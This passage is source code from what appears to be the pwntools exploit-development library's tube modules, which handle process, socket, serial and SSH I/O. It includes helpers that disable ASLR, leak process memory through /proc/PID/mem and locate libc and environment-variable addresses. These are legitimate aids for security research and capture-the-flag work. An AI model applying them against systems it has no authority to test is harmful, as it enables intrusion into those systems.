                    if exception.errno != errno.ENOEXEC:
                        raise
            else:
                try:
                    raise exception
                except:
                    log.exception(str(prefixes))

        if self.pty is not None:
            if stdin is slave:
                self.proc.stdin = os.fdopen(os.dup(master), 'r+')
            if stdout is slave:
                self.proc.stdout = os.fdopen(os.dup(master), 'r+')
            if stderr is slave:
                self.proc.stderr = os.fdopen(os.dup(master), 'r+')

            os.close(master)
            os.close(slave)

        # Set in non-blocking mode so that a call to call recv(1000) will
        # return as soon as a the first byte is available
        fd = self.proc.stdout.fileno()
        fl = fcntl.fcntl(fd, fcntl.F_GETFL)
        fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)

    def __preexec_fn(self):
        """
        Routine executed in the child process before invoking execve().

        Handles setting the controlling TTY as well as invoking the user-
        supplied preexec_fn.
        """
        if self.pty is not None:
            self.__pty_make_controlling_tty(self.pty)

        if not self.aslr:
            try:
                if context.os == 'linux' and self._setuid is not True:
                    ADDR_NO_RANDOMIZE = 0x0040000
                    ctypes.CDLL('libc.so.6').personality(ADDR_NO_RANDOMIZE)

                resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
            except:
                log.exception("Could not disable ASLR")

        # Assume that the user would prefer to have core dumps.
        resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))

        # Given that we want a core file, assume that we want the whole thing.
        try:
            with open('/proc/self/coredump_filter', 'w') as f:
                f.write('0xff')
        except Exception:
            pass

        if self._setuid is False:
            try:
                PR_SET_NO_NEW_PRIVS = 38
                ctypes.CDLL('libc.so.6').prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)
            except:
                pass

        self.preexec_fn()

    @property
    def program(self):
        """Alias for ``executable``, for backward compatibility"""
        return self.executable

    @staticmethod
    def _validate(cwd, executable, argv, env):
        """
        Perform extended validation on the executable path, argv, and envp.

        Mostly to make Python happy, but also to prevent common pitfalls.
        """

        cwd = cwd or os.path.curdir

        #
        # Validate argv
        #
        # - Must be a list/tuple of strings
        # - Each string must not contain '\x00'
        #
        if isinstance(argv, (str, unicode)):
            argv = [argv]

        if not all(isinstance(arg, (str, unicode)) for arg in argv):
            log.error("argv must be strings: %r" % argv)

        # Create a duplicate so we can modify it
        argv = list(argv or [])

        for i, arg in enumerate(argv):
            if '\x00' in arg[:-1]:
                log.error('Inappropriate nulls in argv[%i]: %r' % (i, arg))

            argv[i] = arg.rstrip('\x00')

        #
        # Validate executable
        #
        # - Must be an absolute or relative path to the target executable
        # - If not, attempt to resolve the name in $PATH
        #
        if not executable:
            if not argv:
                log.error("Must specify argv or executable")
            executable = argv[0]

        # Do not change absolute paths to binaries
        if executable.startswith(os.path.sep):
            pass

        # If there's no path component, it's in $PATH or relative to the
        # target directory.
        #
        # For example, 'sh'
        elif os.path.sep not in executable and which(executable):
            executable = which(executable)

        # Either there is a path component, or the binary is not in $PATH
        # For example, 'foo/bar' or 'bar' with cwd=='foo'
        elif os.path.sep not in executable:
            executable = os.path.join(cwd, executable)

        if not os.path.exists(executable):
            log.error("%r does not exist"  % executable)
        if not os.path.isfile(executable):
            log.error("%r is not a file" % executable)
        if not os.access(executable, os.X_OK):
            log.error("%r is not marked as executable (+x)" % executable)

        #
        # Validate environment
        #
        # - Must be a dictionary of {string:string}
        # - No strings may contain '\x00'
        #

        # Create a duplicate so we can modify it safely
        env = dict(os.environ if env is None else env)

        for k,v in env.items():
            if not isinstance(k, (str, unicode)):
                log.error('Environment keys must be strings: %r' % k)
            if not isinstance(k, (str, unicode)):
                log.error('Environment values must be strings: %r=%r' % (k,v))
            if '\x00' in k[:-1]:
                log.error('Inappropriate nulls in env key: %r' % (k))
            if '\x00' in v[:-1]:
                log.error('Inappropriate nulls in env value: %r=%r' % (k, v))

            env[k.rstrip('\x00')] = v.rstrip('\x00')

        return executable, argv, env

    def _handles(self, stdin, stdout, stderr):
        master = slave = None

        if self.pty is not None:
            # Normally we could just use subprocess.PIPE and be happy.
            # Unfortunately, this results in undesired behavior when
            # printf() and similar functions buffer data instead of
            # sending it directly.
            #
            # By opening a PTY for STDOUT, the libc routines will not
            # buffer any data on STDOUT.
            master, slave = pty.openpty()

            if self.raw:
                # By giving the child process a controlling TTY,
                # the OS will attempt to interpret terminal control codes
                # like backspace and Ctrl+C.
                #
                # If we don't want this, we set it to raw mode.
                tty.setraw(master)
                tty.setraw(slave)

            if stdin is PTY:
                stdin = slave
            if stdout is PTY:
                stdout = slave
            if stderr is PTY:
                stderr = slave

        return stdin, stdout, stderr, master, slave

    def __getattr__(self, attr):
        """Permit pass-through access to the underlying process object for
        fields like ``pid`` and ``stdin``.
        """
        if hasattr(self.proc, attr):
            return getattr(self.proc, attr)
        raise AttributeError("'process' object has no attribute '%s'" % attr)

    def kill(self):
        """kill()

        Kills the process.
        """

        self.close()

    def poll(self, block = False):
        """poll(block = False) -> int

        Arguments:
            block(bool): Wait for the process to exit

        Poll the exit code of the process. Will return None, if the
        process has not yet finished and the exit code otherwise.
        """
        if block:
            self.wait_for_close()

        self.proc.poll()
        if self.proc.returncode != None and not self._stop_noticed:
            self._stop_noticed = True
            self.info("Process %r stopped with exit code %d" % (self.display, self.proc.returncode))

        return self.proc.returncode

    def communicate(self, stdin = None):
        """communicate(stdin = None) -> str

        Calls :meth:`subprocess.Popen.communicate` method on the process.
        """

        return self.proc.communicate(stdin)

    # Implementation of the methods required for tube
    def recv_raw(self, numb):
        # This is a slight hack. We try to notice if the process is
        # dead, so we can write a message.
        self.poll()

        if not self.connected_raw('recv'):
            raise EOFError

        if not self.can_recv_raw(self.timeout):
            return ''

        # This will only be reached if we either have data,
        # or we have reached an EOF. In either case, it
        # should be safe to read without expecting it to block.
        data = ''

        try:
            data = self.proc.stdout.read(numb)
        except IOError as (err, strerror):
            pass

        if not data:
            self.shutdown("recv")
            raise EOFError

        return data

    def send_raw(self, data):
        # This is a slight hack. We try to notice if the process is
        # dead, so we can write a message.
        self.poll()

        if not self.connected_raw('send'):
            raise EOFError

        try:
            self.proc.stdin.write(data)
            self.proc.stdin.flush()
        except IOError:
            raise EOFError

    def settimeout_raw(self, timeout):
        pass

    def can_recv_raw(self, timeout):
        if not self.connected_raw('recv'):
            return False

        try:
            if timeout == None:
                return select.select([self.proc.stdout], [], []) == ([self.proc.stdout], [], [])

            return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])
        except ValueError:
            # Not sure why this isn't caught when testing self.proc.stdout.closed,
            # but it's not.
            #
            #   File "/home/user/pwntools/pwnlib/tubes/process.py", line 112, in can_recv_raw
            #     return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])
            # ValueError: I/O operation on closed file
            raise EOFError
        except select.error as v:
            if v[0] == errno.EINTR:
                return False

    def connected_raw(self, direction):
        if direction == 'any':
            return self.poll() == None
        elif direction == 'send':
            return not self.proc.stdin.closed
        elif direction == 'recv':
            return not self.proc.stdout.closed

    def close(self):
        if self.proc is None:
            return

        # First check if we are already dead
        self.poll()

        #close file descriptors
        for fd in [self.proc.stdin, self.proc.stdout, self.proc.stderr]:
            if fd is not None:
                fd.close()

        if not self._stop_noticed:
            try:
                self.proc.kill()
                self.proc.wait()
                self._stop_noticed = True
                self.info('Stopped program %r' % self.program)
            except OSError:
                pass


    def fileno(self):
        if not self.connected():
            self.error("A stopped program does not have a file number")

        return self.proc.stdout.fileno()

    def shutdown_raw(self, direction):
        if direction == "send":
            self.proc.stdin.close()

        if direction == "recv":
            self.proc.stdout.close()

        if False not in [self.proc.stdin.closed, self.proc.stdout.closed]:
            self.close()

    def __pty_make_controlling_tty(self, tty_fd):
        '''This makes the pseudo-terminal the controlling tty. This should be
        more portable than the pty.fork() function. Specifically, this should
        work on Solaris. '''

        child_name = os.ttyname(tty_fd)

        # Disconnect from controlling tty. Harmless if not already connected.
        try:
            fd = os.open("/dev/tty", os.O_RDWR | os.O_NOCTTY)
            if fd >= 0:
                os.close(fd)
        # which exception, shouldnt' we catch explicitly .. ?
        except OSError:
            # Already disconnected. This happens if running inside cron.
            pass

        os.setsid()

        # Verify we are disconnected from controlling tty
        # by attempting to open it again.
        try:
            fd = os.open("/dev/tty", os.O_RDWR | os.O_NOCTTY)
            if fd >= 0:
                os.close(fd)
                raise Exception('Failed to disconnect from ' +
                    'controlling tty. It is still possible to open /dev/tty.')
        # which exception, shouldnt' we catch explicitly .. ?
        except OSError:
            # Good! We are disconnected from a controlling tty.
            pass

        # Verify we can open child pty.
        fd = os.open(child_name, os.O_RDWR)
        if fd < 0:
            raise Exception("Could not open child pty, " + child_name)
        else:
            os.close(fd)

        # Verify we now have a controlling tty.
        fd = os.open("/dev/tty", os.O_WRONLY)
        if fd < 0:
            raise Exception("Could not open controlling tty, /dev/tty")
        else:
            os.close(fd)

    def libs(self):
        """libs() -> dict

        Return a dictionary mapping the path of each shared library loaded
        by the process to the address it is loaded at in the process' address
        space.

        If ``/proc/$PID/maps`` for the process cannot be accessed, the output
        of ``ldd`` alone is used.  This may give inaccurate results if ASLR
        is enabled.
        """
        with context.local(log_level='error'):
            ldd = process(['ldd', self.executable]).recvall()

        maps = parse_ldd_output(ldd)

        try:
            maps_raw = open('/proc/%d/maps' % self.pid).read()
        except IOError:
            return maps

        # Enumerate all of the libraries actually loaded right now.
        for line in maps_raw.splitlines():
            if '/' not in line: continue
            path = line[line.index('/'):]
            path = os.path.realpath(path)
            if path not in maps:
                maps[path]=0

        for lib in maps:
            path = os.path.realpath(lib)
            for line in maps_raw.splitlines():
                if line.endswith(path):
                    address = line.split('-')[0]
                    maps[lib] = int(address, 16)
                    break

        return maps

    @property
    def libc(self):
        """libc() -> ELF

        Returns an ELF for the libc for the current process.
        If possible, it is adjusted to the correct address
        automatically.
        """
        from ..elf import ELF

        for lib, address in self.libs().items():
            if 'libc.so' in lib:
                e = ELF(lib)
                e.address = address
                return e

    @property
    def corefile(self):
        filename = 'core.%i' % (self.pid)
        process(['gcore', '-o', 'core', str(self.pid)]).wait()

        import pwnlib.elf.corefile
        return pwnlib.elf.corefile.Core(filename)

    def leak(self, address, count=0):
        """Leaks memory within the process at the specified address.

        Arguments:
            address(int): Address to leak memory at
            count(int): Number of bytes to leak at that address.
        """
        # If it's running under qemu-user, don't leak anything.
        if 'qemu-' in os.path.realpath('/proc/%i/exe' % self.pid):
            log.error("Cannot use leaker on binaries under QEMU.")

        with open('/proc/%i/mem' % self.pid, 'rb') as mem:
            mem.seek(address)
            return mem.read(count) or None






import socket
import ssl as _ssl

from ..log import getLogger
from ..timeout import Timeout
from .sock import sock

log = getLogger(__name__)

class remote(sock):
    r"""Creates a TCP or UDP-connection to a remote host. It supports
    both IPv4 and IPv6.

    The returned object supports all the methods from
    :class:`pwnlib.tubes.sock` and :class:`pwnlib.tubes.tube`.

    Arguments:
        host(str): The host to connect to.
        port(int): The port to connect to.
        fam: The string "any", "ipv4" or "ipv6" or an integer to pass to :func:`socket.getaddrinfo`.
        typ: The string "tcp" or "udp" or an integer to pass to :func:`socket.getaddrinfo`.
        timeout: A positive number, None or the string "default".
        ssl(bool): Wrap the socket with SSL
        sock(socket): Socket to inherit, rather than connecting

    Examples:

        >>> r = remote('google.com', 443, ssl=True)
        >>> r.send('GET /\r\n\r\n')
        >>> r.recvn(4)
        'HTTP'
        >>> r = remote('127.0.0.1', 1)
        Traceback (most recent call last):
        ...
        PwnlibException: Could not connect to 127.0.0.1 on port 1
        >>> import socket
        >>> s = socket.socket()
        >>> s.connect(('google.com', 80))
        >>> s.send('GET /' + '\r\n'*2)
        9
        >>> r = remote.fromsocket(s)
        >>> r.recvn(4)
        'HTTP'
    """

    def __init__(self, host, port,
                 fam = "any", typ = "tcp",
                 timeout = Timeout.default, ssl=False, sock=None, level = None):
        super(remote, self).__init__(timeout, level = level)

        self.rport  = int(port)
        self.rhost  = host

        if sock:
            self.family = sock.family
            self.type   = sock.type
            self.proto  = sock.proto
            self.sock   = sock

        else:
            typ = self._get_type(typ)
            fam = self._get_family(fam)
            try:
                self.sock   = self._connect(fam, typ)
            except socket.gaierror as e:
                if e.errno != socket.EAI_NONAME:
                    raise
                log.error('Could not resolve hostname: %r' % host)
        if self.sock:
            self.settimeout(self.timeout)
            self.lhost, self.lport = self.sock.getsockname()[:2]

            if ssl:
                self.sock = _ssl.wrap_socket(self.sock)


    @staticmethod
    def _get_family(fam):

        if isinstance(fam, (int, long)):
            pass
        elif fam == 'any':
            fam = socket.AF_UNSPEC
        elif fam.lower() in ['ipv4', 'ip4', 'v4', '4']:
            fam = socket.AF_INET
        elif fam.lower() in ['ipv6', 'ip6', 'v6', '6']:
            fam = socket.AF_INET6
        else:
            self.error("remote(): family %r is not supported" % fam)

        return fam

    @staticmethod
    def _get_type(typ):

        if isinstance(typ, (int, long)):
            pass
        elif typ == "tcp":
            typ = socket.SOCK_STREAM
        elif typ == "udp":
            typ = socket.SOCK_DGRAM
        else:
            self.error("remote(): type %r is not supported" % typ)

        return typ

    def _connect(self, fam, typ):
        sock    = None
        timeout = self.timeout

        h = self.waitfor('Opening connection to %s on port %d' % (self.rhost, self.rport))

        for res in socket.getaddrinfo(self.rhost, self.rport, fam, typ, 0, socket.AI_PASSIVE):
            self.family, self.type, self.proto, _canonname, sockaddr = res

            if self.type not in [socket.SOCK_STREAM, socket.SOCK_DGRAM]:
                continue

            h.status("Trying %s" % sockaddr[0])

            sock = socket.socket(self.family, self.type, self.proto)

            if timeout != None and timeout <= 0:
                sock.setblocking(0)
            else:
                sock.setblocking(1)
                sock.settimeout(timeout)

            try:
                sock.connect(sockaddr)
                break
            except socket.error:
                pass
        else:
            h.failure()
            self.error("Could not connect to %s on port %d" % (self.rhost, self.rport))

        h.success()
        return sock



    @classmethod
    def fromsocket(cls, socket):
        """
        Helper method to wrap a standard python socket.socket with the
        tube APIs.

        Arguments:
            socket: Instance of socket.socket

        Returns:
            Instance of pwnlib.tubes.remote.remote.
        """
        s = socket
        host, port = s.getpeername()
        return remote(host, port, fam=s.family, typ=s.type, sock=s)

class tcp(remote):
    def __init__(self, host, port,
                 fam = "any", typ = "tcp",
                 timeout = Timeout.default, ssl=False, sock=None, level = None):
        return super(tcp, self).__init__(host, port, fam, typ, timeout, ssl, sock, level)

class udp(remote):
    def __init__(self, host, port,
                 fam = "any", typ = "udp",
                 timeout = Timeout.default, ssl=False, sock=None, level = None):
        return super(udp, self).__init__(host, port, fam, typ, timeout, ssl, sock, level)






#!/usr/bin/env python2

class Buffer(Exception):
    """
    List of strings with some helper routines.

    Example:

        >>> b = Buffer()
        >>> b.add("A" * 10)
        >>> b.add("B" * 10)
        >>> len(b)
        20
        >>> b.get(1)
        'A'
        >>> len(b)
        19
        >>> b.get(9999)
        'AAAAAAAAABBBBBBBBBB'
        >>> len(b)
        0
        >>> b.get(1)
        ''

    Implementation Details:

        Implemented as a list.  Strings are added onto the end.
        The ``0th`` item in the buffer is the oldest item, and
        will be received first.
    """
    def __init__(self):
        self.data = [] # Buffer
        self.size = 0  # Length


    def __len__(self):
        """
        >>> b = Buffer()
        >>> b.add('lol')
        >>> len(b) == 3
        True
        >>> b.add('foobar')
        >>> len(b) == 9
        True
        """
        return self.size

    def __nonzero__(self):
        return len(self) > 0

    def __contains__(self, x):
        """
        >>> b = Buffer()
        >>> b.add('asdf')
        >>> 'x' in b
        False
        >>> b.add('x')
        >>> 'x' in b
        True
        """
        for b in self.data:
            if x in b:
                return True
        return False

    def index(self, x):
        """
        >>> b = Buffer()
        >>> b.add('asdf')
        >>> b.add('qwert')
        >>> b.index('t') == len(b) - 1
        True
        """
        sofar = 0
        for b in self.data:
            if x in b:
                return sofar + b.index(x)
            sofar += len(b)
        raise IndexError()

    def add(self, data):
        """
        Adds data to the buffer.

        Arguments:
            data(str,Buffer): Data to add
        """
        # Fast path for ''
        if not data: return

        if isinstance(data, Buffer):
            self.size += data.size
            self.data += data.data
        else:
            self.size += len(data)
            self.data.append(data)

    def unget(self, data):
        """
        Places data at the front of the buffer.

        Arguments:
            data(str,Buffer): Data to place at the beginning of the buffer.

        Example:

            >>> b = Buffer()
            >>> b.add("hello")
            >>> b.add("world")
            >>> b.get(5)
            'hello'
            >>> b.unget("goodbye")
            >>> b.get()
            'goodbyeworld'
        """
        if isinstance(data, Buffer):
            self.data = data.data + self.data
            self.size += data.size
        else:
            self.data.insert(0, data)
            self.size += len(data)

    def get(self, want=float('inf')):
        """
        Retrieves bytes from the buffer.

        Arguments:
            want(int): Maximum number of bytes to fetch

        Returns:
            Data as string

        Example:

            >>> b = Buffer()
            >>> b.add('hello')
            >>> b.add('world')
            >>> b.get(1)
            'h'
            >>> b.get()
            'elloworld'
        """
        # Fast path, get all of the data
        if want >= self.size:
            data   = ''.join(self.data)
            self.size = 0
            self.data = []
            return data

        # Slow path, find the correct-index chunk
        have = 0
        i    = 0
        while want >= have:
            have += len(self.data[i])
            i    += 1

        # Join the chunks, evict from the buffer
        data   = ''.join(self.data[:i])
        self.data = self.data[i:]

        # If the last chunk puts us over the limit,
        # stick the extra back at the beginning.
        if have > want:
            extra = data[want:]
            data  = data[:want]
            self.data.insert(0, extra)

        # Size update
        self.size -= len(data)

        return data






"""The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc.
Our goal is to be able to use the same API for e.g. remote TCP servers, local
TTY-programs and programs run over over SSH.

It is organized such that the majority of the functionality is implemented
in :class:`pwnlib.tubes.tube`. The remaining classes should only implement
just enough for the class to work and possibly code pertaining only to
that specific kind of tube.
"""

__all__ = ['tube', 'sock', 'remote', 'listen', 'process', 'serialtube', 'ssh']

from . import listen
from . import process
from . import remote
from . import serialtube
from . import sock
from . import ssh
from . import tube






import glob
import platform
import sys
import time

import serial

from . import tube
from .. import context
from .. import term
from ..log import getLogger
from ..timeout import Timeout

log = getLogger(__name__)

class serialtube(tube.tube):
    def __init__(
            self, port = None, baudrate = 115200,
            convert_newlines = True,
            bytesize = 8, parity='N', stopbits=1, xonxoff = False,
            rtscts = False, dsrdtr = False,
            timeout = Timeout.default,
            level = None):
        super(serialtube, self).__init__(timeout, level = level)

        if port is None:
            if platform.system() == 'Darwin':
                port = glob.glob('/dev/tty.usbserial*')[0]
            else:
                port = '/dev/ttyUSB0'

        self.convert_newlines = convert_newlines
        self.conn = serial.Serial(
            port = port,
            baudrate = baudrate,
            bytesize = bytesize,
            parity = parity,
            stopbits = stopbits,
            timeout = 0,
            xonxoff = xonxoff,
            rtscts = rtscts,
            writeTimeout = None,
            dsrdtr = dsrdtr,
            interCharTimeout = 0
        )

    # Implementation of the methods required for tube
    def recv_raw(self, numb):
        if not self.conn:
            raise EOFError

        if self.timeout == None:
            end = float('inf')
        else:
            end = time.time() + self.timeout

        while self.conn:
            data = self.conn.read(numb)
            if data:
                return data

            delta = end - time.time()
            if delta <= 0:
                break
            else:
                time.sleep(min(delta, 0.1))

        return None

    def send_raw(self, data):
        if not self.conn:
            raise EOFError

        if self.convert_newlines:
            data = data.replace('\n', '\r\n')

        while data:
            n = self.conn.write(data)
            data = data[n:]
        self.conn.flush()

    def settimeout_raw(self, timeout):
        pass

    def can_recv_raw(self, timeout):
        end = time.time()
        while time.time() < end:
            if self.conn.inWaiting():
                return True
        return False

    def connected_raw(self, direction):
        return self.conn != None

    def close(self):
        if self.conn:
            self.conn.close()
            self.conn = None

    def fileno(self):
        if not self.connected():
            self.error("A stopped program does not have a file number")

        return self.conn.fileno()

    def shutdown_raw(self, direction):
        self.close()






import errno
import select
import socket

from ..log import getLogger
from .tube import tube

log = getLogger(__name__)

class sock(tube):
    """Methods available exclusively to sockets."""

    def __init__(self, timeout, level = None):
        super(sock, self).__init__(timeout, level = level)
        self.closed = {"recv": False, "send": False}

    # Overwritten for better usability
    def recvall(self, timeout = tube.forever):
        """recvall() -> str

        Receives data until the socket is closed.
        """

        if getattr(self, 'type', None) == socket.SOCK_DGRAM:
            self.error("UDP sockets does not supports recvall")
        else:
            return super(sock, self).recvall(timeout)

    def recv_raw(self, numb):
        if self.closed["recv"]:
            raise EOFError

        while True:
            try:
                data = self.sock.recv(numb)
                break
            except socket.timeout:
                return None
            except IOError as e:
                if e.errno == errno.EAGAIN:
                    return None
                elif e.errno in [errno.ECONNREFUSED, errno.ECONNRESET]:
                    self.shutdown("recv")
                    raise EOFError
                elif e.errno == errno.EINTR:
                    continue
                else:
                    raise

        if data == '':
            self.shutdown("recv")
            raise EOFError

        return data

    def send_raw(self, data):
        if self.closed["send"]:
            raise EOFError

        try:
            self.sock.sendall(data)
        except IOError as e:
            eof_numbers = [errno.EPIPE, errno.ECONNRESET, errno.ECONNREFUSED]
            if e.message == 'Socket is closed' or e.errno in eof_numbers:
                self.shutdown("send")
                raise EOFError
            else:
                raise

    def settimeout_raw(self, timeout):
        if getattr(self, 'sock', None):
            self.sock.settimeout(timeout)

    def can_recv_raw(self, timeout):
        if not self.sock or self.closed["recv"]:
            return False

        return select.select([self.sock], [], [], timeout) == ([self.sock], [], [])

    def connected_raw(self, direction):
        if not self.sock:
            return False

        if direction == 'any':
            return True
        elif direction == 'recv':
            return not self.closed['recv']
        elif direction == 'send':
            return not self.closed['send']

    def close(self):
        if not getattr(self, 'sock', None):
            return

        # Mark as closed in both directions
        self.closed['send'] = True
        self.closed['recv'] = True

        self.sock.close()
        self.sock = None
        self._close_msg()

    def _close_msg(self):
        self.info('Closed connection to %s port %d' % (self.rhost, self.rport))

    def fileno(self):
        if not self.sock:
            self.error("A closed socket does not have a file number")

        return self.sock.fileno()

    def shutdown_raw(self, direction):
        if self.closed[direction]:
            return

        self.closed[direction] = True

        if direction == "send":
            try:
                self.sock.shutdown(socket.SHUT_WR)
            except IOError as e:
                if e.errno == errno.ENOTCONN:
                    pass
                else:
                    raise

        if direction == "recv":
            try:
                self.sock.shutdown(socket.SHUT_RD)
            except IOError as e:
                if e.errno == errno.ENOTCONN:
                    pass
                else:
                    raise

        if False not in self.closed.values():
            self.close()






import inspect
import logging
import os
import re
import shutil
import string
import sys
import tarfile
import tempfile
import threading
import time
import types

from .. import term
from ..context import context
from ..log import Logger
from ..log import getLogger
from ..timeout import Timeout
from ..util import hashes
from ..util import misc
from ..util import safeeval
from .process import process
from .sock import sock

# Kill the warning line:
# No handlers could be found for logger "paramiko.transport"
paramiko_log = logging.getLogger("paramiko.transport")
h = logging.StreamHandler(file('/dev/null','w+'))
h.setFormatter(logging.Formatter())
paramiko_log.addHandler(h)

class ssh_channel(sock):

    #: Parent :class:`ssh` object
    parent = None

    #: Remote host
    host = None

    #: Return code, or ``None`` if the process has not returned
    #: Use :meth:`poll` to check.
    returncode = None

    #: ``True`` if a tty was allocated for this channel
    tty = False

    #: Environment specified for the remote process, or ``None``
    #: if the default environment was used
    env = None

    #: Command specified for the constructor
    process = None

    #: Working directory
    cwd = None

    #: PID of the process
    #: Only valid when instantiated through :meth:`ssh.process`
    pid = None

    #: Executable of the process
    #: Only valid when instantiated through :meth:`ssh.process`
    executable = None

    #: Arguments passed to the process
    #: Only valid when instantiated through :meth:`ssh.process`
    argv = None

    def __init__(self, parent, process = None, tty = False, wd = None, env = None, timeout = Timeout.default, level = 0, raw = True):
        super(ssh_channel, self).__init__(timeout, level=level)

        # keep the parent from being garbage collected in some cases
        self.parent = parent

        self.returncode = None
        self.host = parent.host
        self.tty  = tty
        self.env  = env
        self.process = process
        self.cwd  = wd or '.'

        env = env or {}
        msg = 'Opening new channel: %r' % (process or 'shell')

        if isinstance(process, (list, tuple)):
            fmt = ' '.join('%s' for s in process)
            process = misc.sh_command_with(fmt, *process)

        if process and wd:
            process = misc.sh_command_with('cd %s >/dev/null 2>&1;', wd) + process

        if process and env:
            for name, value in env.items():
                if not re.match('^[a-zA-Z_][a-zA-Z0-9_]*$', name):
                    self.error('run(): Invalid environment key $r' % name)
                process = '%s;%s' % (misc.sh_prepare(name, value, export=True), process)

        if process and tty:
            if raw:
                process = 'stty raw -ctlecho -echo; ' + process
            else:
                process = 'stty -ctlecho -echo; ' + process


        # If this object is enabled for DEBUG-level logging, don't hide
        # anything about the command that's actually executed.
        if process and self.isEnabledFor(logging.DEBUG):
            msg = 'Opening new channel: %r' % ((process,) or 'shell')

        with self.waitfor(msg) as h:
            import paramiko
            try:
                self.sock = parent.transport.open_session()
            except paramiko.ChannelException as e:
                if e.args == (1, 'Administratively prohibited'):
                    self.error("Too many sessions open! Use ssh_channel.close() or 'with'!")
                raise e

            if self.tty:
                self.sock.get_pty('xterm', term.width, term.height)

                def resizer():
                    if self.sock:
                        try:
                            self.sock.resize_pty(term.width, term.height)
                        except paramiko.ssh_exception.SSHException:
                            pass

                self.resizer = resizer
                term.term.on_winch.append(self.resizer)
            else:
                self.resizer = None

            # Put stderr on stdout. This might not always be desirable,
            # but our API does not support multiple streams
            self.sock.set_combine_stderr(True)

            self.settimeout(self.timeout)

            if process:
                self.sock.exec_command(process)
            else:
                self.sock.invoke_shell()

            h.success()

    def kill(self):
        """kill()

        Kills the process.
        """

        self.close()

    def recvall(self, timeout = sock.forever):
        # We subclass tubes.sock which sets self.sock to None.
        #
        # However, we need to wait for the return value to propagate,
        # which may not happen by the time .close() is called by tube.recvall()
        tmp_sock = self.sock

        timeout = self.maximum if self.timeout is self.forever else self.timeout
        data = super(ssh_channel, self).recvall(timeout)

        # Restore self.sock to be able to call wait()
        self.sock = tmp_sock
        self.wait()

        # Again set self.sock to None
        self.sock = None

        return data

    def wait(self):
        return self.poll(block=True)

    def poll(self, block=False):
        """poll() -> int

        Poll the exit code of the process. Will return None, if the
        process has not yet finished and the exit code otherwise.
        """

        if self.returncode == None and self.sock \
        and (block or self.sock.exit_status_ready()):
            while not self.sock.status_event.is_set():
                self.sock.status_event.wait(0.05)
            self.returncode = self.sock.recv_exit_status()

        return self.returncode

    def can_recv_raw(self, timeout):
        end = time.time() + timeout
        while time.time() < end:
            if self.sock.recv_ready():
                return True
            time.sleep(0.05)
        return False

    def interactive(self, prompt = term.text.bold_red('$') + ' '):
        """interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')

        If not in TTY-mode, this does exactly the same as
        meth:`pwnlib.tubes.tube.tube.interactive`, otherwise
        it does mostly the same.

        An SSH connection in TTY-mode will typically supply its own prompt,
        thus the prompt argument is ignored in this case.
        We also have a few SSH-specific hacks that will ideally be removed
        once the :mod:`pwnlib.term` is more mature.
        """

        # If we are only executing a regular old shell, we need to handle
        # control codes (specifically Ctrl+C).
        #
        # Otherwise, we can just punt to the default implementation of interactive()
        if self.process is not None:
            return super(ssh_channel, self).interactive(prompt)

        self.info('Switching to interactive mode')

        # We would like a cursor, please!
        term.term.show_cursor()

        event = threading.Event()
        def recv_thread(event):
            while not event.is_set():
                try:
                    cur = self.recv(timeout = 0.05)
                    cur = cur.replace('\r\n','\n')
                    cur = cur.replace('\r','')
                    if cur == None:
                        continue
                    elif cur == '\a':
                        # Ugly hack until term unstands bell characters
                        continue
                    sys.stdout.write(cur)
                    sys.stdout.flush()
                except EOFError:
                    self.info('Got EOF while reading in interactive')
                    event.set()
                    break

        t = context.Thread(target = recv_thread, args = (event,))
        t.daemon = True
        t.start()

        while not event.is_set():
            if term.term_mode:
                try:
                    data = term.key.getraw(0.1)
                except KeyboardInterrupt:
                    data = [3] # This is ctrl-c
                except IOError:
                    if not event.is_set():
                        raise
            else:
                data = sys.stdin.read(1)
                if not data:
                    event.set()
                else:
                    data = [ord(data)]

            if data:
                try:
                    self.send(''.join(chr(c) for c in data))
                except EOFError:
                    event.set()
                    self.info('Got EOF while sending in interactive')

        while t.is_alive():
            t.join(timeout = 0.1)

        # Restore
        term.term.hide_cursor()

    def close(self):
        self.poll()
        while self.resizer in term.term.on_winch:
            term.term.on_winch.remove(self.resizer)
        super(ssh_channel, self).close()

    def spawn_process(self, *args, **kwargs):
        self.error("Cannot use spawn_process on an SSH channel.""")

    def _close_msg(self):
        self.info('Closed SSH channel with %s' % self.host)

    def getenv(self, variable, **kwargs):
        """Retrieve the address of an environment variable in the remote process.
        """
        if not hasattr(self, 'argv'):
            log.error("Can only call getenv() on ssh_channel objects created with ssh.process")

        argv0 = self.argv[0]

        script = ';'.join(('from ctypes import *',
                           'import os',
                           'libc = CDLL("libc.so.6")',
                           'print os.path.realpath(%r)' % self.executable,
                           'print(libc.getenv(%r))' % variable,))

        try:
            with context.local(log_level='error'):
                python = self.parent.which('python')

                if not python:
                    self.error("Python is not installed on the remote system.")

                io = self.parent.process([argv0,'-c', script.strip()],
                                          executable=python,
                                          env=self.env,
                                          **kwargs)
                path = io.recvline()
                address = int(io.recvline())

                address -= len(python)
                address += len(path)

                return int(address) & context.mask
        except:
            self.exception("Could not look up environment variable %r" % variable)

    def libs(self):
        """libs() -> dict

        Returns a dictionary mapping the address of each loaded library in the
        process's address space.

        If ``/proc/$PID/maps`` cannot be opened, the output of ldd is used
        verbatim, which may be different than the actual addresses if ASLR
        is enabled.
        """
        if not self.executable:
            self.error("Can only use libs() on ssh_channel objects created with ssh.process()")

        maps = self.parent.libs(self.executable)

        maps_raw = self.parent.cat('/proc/%d/maps' % self.pid)

        for lib in maps:
            remote_path = lib.split(self.parent.host)[-1]
            for line in maps_raw.splitlines():
                if line.endswith(remote_path):
                    address = line.split('-')[0]
                    maps[lib] = int(address, 16)
                    break
        return maps


    @property
    def libc(self):
        """libc() -> ELF

        Returns an ELF for the libc for the current process.
        If possible, it is adjusted to the correct address
        automatically.
        """
        from ..elf import ELF

        for lib, address in self.libs().items():
            if 'libc.so' in lib:
                e = ELF(lib)
                e.address = address
                return e

class ssh_connecter(sock):
    def __init__(self, parent, host, port, timeout = Timeout.default, level = None):
        super(ssh_connecter, self).__init__(timeout, level = level)

        # keep the parent from being garbage collected in some cases
        self.parent = parent

        self.host  = parent.host
        self.rhost = host
        self.rport = port

